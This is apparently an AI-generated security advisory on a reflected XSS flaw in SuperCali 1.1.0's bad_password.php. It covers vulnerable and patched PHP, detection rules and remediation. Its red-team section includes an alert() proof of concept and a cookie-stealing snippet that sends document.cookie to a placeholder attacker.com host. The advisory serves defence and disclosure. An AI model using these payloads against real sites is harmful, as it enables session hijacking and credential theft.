CVE-2024-27627

Executive Summary

CVE-2024-27627 is a reflected cross-site scripting (XSS) vulnerability in SuperCali version 1.1.0, specifically within the bad_password.php page. An attacker can inject arbitrary JavaScript code via the email parameter, which is reflected back to the user without proper sanitization. This allows for session hijacking, credential theft, or redirection to malicious sites. The vulnerability has a low CVSS score (4.3) due to the requirement for user interaction, but it poses a significant risk in social engineering campaigns. No official patch is available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the lack of authentication.

Deep Dive & Mechanics

The vulnerability exists in the bad_password.php page of SuperCali 1.1.0. The email parameter is taken directly from the HTTP GET request and echoed back into the HTML response without any sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Vulnerable Code Snippet (Conceptual):

<?php
$email = $_GET['email'];
echo "<p>Invalid email: " . $email . "</p>";
?>

The attacker can craft a URL like:

http://target.com/bad_password.php?email=<script>alert('XSS')</script>

When the victim visits this URL, the script executes in their browser context.

Vulnerable vs. Patched Code

Vulnerable Code (bad_password.php):

<?php
$email = $_GET['email'];
echo "<p>Invalid email: " . $email . "</p>";
?>

Patched Code (Conceptual):

<?php
$email = htmlspecialchars($_GET['email'], ENT_QUOTES, 'UTF-8');
echo "<p>Invalid email: " . $email . "</p>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html -->
<html>
<body>
<script>
var xss_url = "http://target.com/bad_password.php?email=<script>alert('XSS')<\/script>";
window.location.href = xss_url;
</script>
</body>
</html>

Advanced Exploit (Session Hijacking):

// Inject this via the email parameter
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;

Lab Setup:

1. Install SuperCali 1.1.0 on a local server (e.g., XAMPP).
2. Access http://localhost/bad_password.php?email=<script>alert(1)</script>.
3. Observe the alert box.

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious email parameter values containing <script> or onerror patterns.
2. Use WAF rules to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to mitigate impact.

Log Analysis Example:

192.168.1.100 - - [12/Mar/2024:10:15:30 +0000] "GET /bad_password.php?email=<script>alert('XSS')</script> HTTP/1.1" 200 123

Indicators of Compromise (IOCs)

• URL Pattern: */bad_password.php?email=*<script>*
• HTTP Request Parameters: email containing <, >, script, onerror, onload
• Referer Header: Suspicious domains or IPs
• User-Agent: Unusual or automated tools

Detection Engineering

YARA Rule

rule CVE_2024_27627_XSS {
    meta:
        description = "Detects reflected XSS attempts against SuperCali bad_password.php"
        author = "Valters IT"
        date = "2024-03-12"
        cve = "CVE-2024-27627"
    strings:
        $xss_payload = /email=.*<script.*>.*<\/script>/i
        $xss_onerror = /email=.*onerror\s*=/i
        $xss_onload = /email=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in SuperCali bad_password.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against SuperCali bad_password.php
author: Valters IT
date: 2024/03/12
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'bad_password.php?email='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of email parameter with special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27627 Reflected XSS in SuperCali bad_password.php"; flow:to_server,established; content:"GET"; http_method; content:"bad_password.php"; http_uri; content:"email="; http_uri; pcre:"/email=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to the email parameter in bad_password.php.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads.
3. Long-term: Upgrade to a patched version of SuperCali if available, or migrate to an alternative solution.
4. Compensating Controls: Use Content Security Policy (CSP) headers to restrict script execution.

Valters IT Signature This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.